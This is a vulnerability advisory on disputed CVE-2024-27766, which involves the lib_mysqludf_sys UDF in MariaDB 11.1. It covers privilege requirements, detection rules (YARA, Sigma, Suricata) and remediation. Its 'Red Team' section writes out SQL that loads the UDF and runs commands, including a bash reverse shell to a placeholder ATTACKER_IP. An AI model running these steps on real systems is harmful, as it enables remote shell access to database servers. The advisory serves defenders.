CVE-2024-27766

Executive Summary

CVE-2024-27766 is a disputed vulnerability reported in MariaDB v.11.1, involving the lib_mysqludf_sys.so user-defined function (UDF). The original claim suggests a remote attacker can execute arbitrary code via this function. However, the MariaDB Foundation disputes this, stating no privilege boundary is crossed. The UDF lib_mysqludf_sys is a known third-party extension that provides system command execution from within MariaDB, but it requires the FILE privilege and the ability to load dynamic libraries—privileges typically reserved for database administrators. Without a clear privilege escalation or authentication bypass, the risk is limited to scenarios where an attacker already has high database privileges. No public exploit code, patch, or proof-of-concept has been released, and the EPSS score is 0.0%, indicating no active exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD assigned)
• Vector: UNKNOWN (not provided by NVD)
• Threat Level: Low (disputed, no active exploitation, requires high privileges)

The CVSS score of 0.0 reflects the disputed nature and lack of confirmed impact. If the vulnerability were valid, it would likely require high privileges (e.g., FILE and CREATE FUNCTION), resulting in a lower severity.

Deep Dive & Mechanics

The lib_mysqludf_sys library is a third-party UDF that exposes system commands via SQL functions like sys_exec(). In MariaDB 11.1, the UDF loading mechanism requires the FILE privilege and the plugin_dir to be writable or the library to be pre-installed. The alleged vulnerability claims a remote attacker can exploit this to execute arbitrary code, but the MariaDB Foundation argues that no privilege boundary is crossed—meaning the attacker would already need administrative database access to load and execute the UDF.

Key technical points:

• The UDF must be loaded using CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'.
• This requires the INSERT privilege on the mysql.func table or the CREATE FUNCTION privilege.
• The attacker must also have the ability to write files to the plugin directory or have the library pre-installed.
• Without a privilege escalation vector, this is not a remote code execution vulnerability from an unauthenticated perspective.

Vulnerable vs. Patched Code

Since no patch exists and the vulnerability is disputed, there is no patched code to compare. The vulnerable component is the lib_mysqludf_sys.so UDF, which by design allows system command execution. MariaDB itself does not ship this UDF by default; it must be manually installed.

Vulnerable scenario: MariaDB 11.1 with lib_mysqludf_sys installed and an attacker with FILE and CREATE FUNCTION privileges.

Patched scenario: No official patch. Mitigation involves removing the UDF or restricting privileges.

Exploitation & Lab Setup

Red Team

Prerequisites:

• MariaDB 11.1 instance with lib_mysqludf_sys.so installed.
• Database credentials with FILE and CREATE FUNCTION privileges.

Exploitation Steps:

1. Connect to the MariaDB instance.
2. Load the UDF:

   CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
   

3. Execute a system command:

   SELECT sys_exec('id');
   

4. For reverse shell (Linux):

   SELECT sys_exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
   

Note: This requires high privileges and is not a remote exploit without prior access.

Blue Team

Detection:

• Monitor for CREATE FUNCTION statements referencing lib_mysqludf_sys.
• Audit database users with FILE and CREATE FUNCTION privileges.
• Check for unexpected files in the MariaDB plugin directory.

Hunting Query:

SELECT * FROM mysql.func WHERE dl LIKE '%lib_mysqludf_sys%';

Indicators of Compromise (IOCs)

• File: lib_mysqludf_sys.so in the MariaDB plugin directory (e.g., /usr/lib/mysql/plugin/).
• SQL Query: CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'
• Process: MariaDB process executing shell commands (e.g., sh -c).
• Network: Outbound connections from the database server to attacker IPs.

Detection Engineering

YARA Rule

rule detect_lib_mysqludf_sys {
    meta:
        description = "Detects the lib_mysqludf_sys.so shared object file"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27766"
    strings:
        $s1 = "sys_exec" ascii wide nocase
        $s2 = "lib_mysqludf_sys" ascii wide nocase
    condition:
        $s1 or $s2
}

Sigma Rule

title: Detection of lib_mysqludf_sys UDF Loading
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to load the lib_mysqludf_sys UDF in MariaDB logs
author: Valters IT
date: 2025-04-10
logsource:
    category: database
    product: mariadb
detection:
    selection:
        Query|contains: "CREATE FUNCTION sys_exec"
    condition: selection
falsepositives:
    - Legitimate administrative use
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 3306 (msg:"CVE-2024-27766 MariaDB lib_mysqludf_sys UDF Loading"; flow:to_server,established; content:"CREATE FUNCTION sys_exec"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Remove the UDF: If not needed, delete lib_mysqludf_sys.so from the plugin directory and drop the function:

   DROP FUNCTION sys_exec;
   

2. Restrict Privileges: Revoke FILE and CREATE FUNCTION privileges from non-admin users.
3. Monitor Plugin Directory: Use file integrity monitoring (e.g., AIDE, Tripwire) to detect new .so files.
4. Network Segmentation: Limit database access to trusted hosts only.
5. Apply Updates: Monitor MariaDB for any official patches or advisories.

Valters IT
DevSecOps & Cyber Threat Intelligence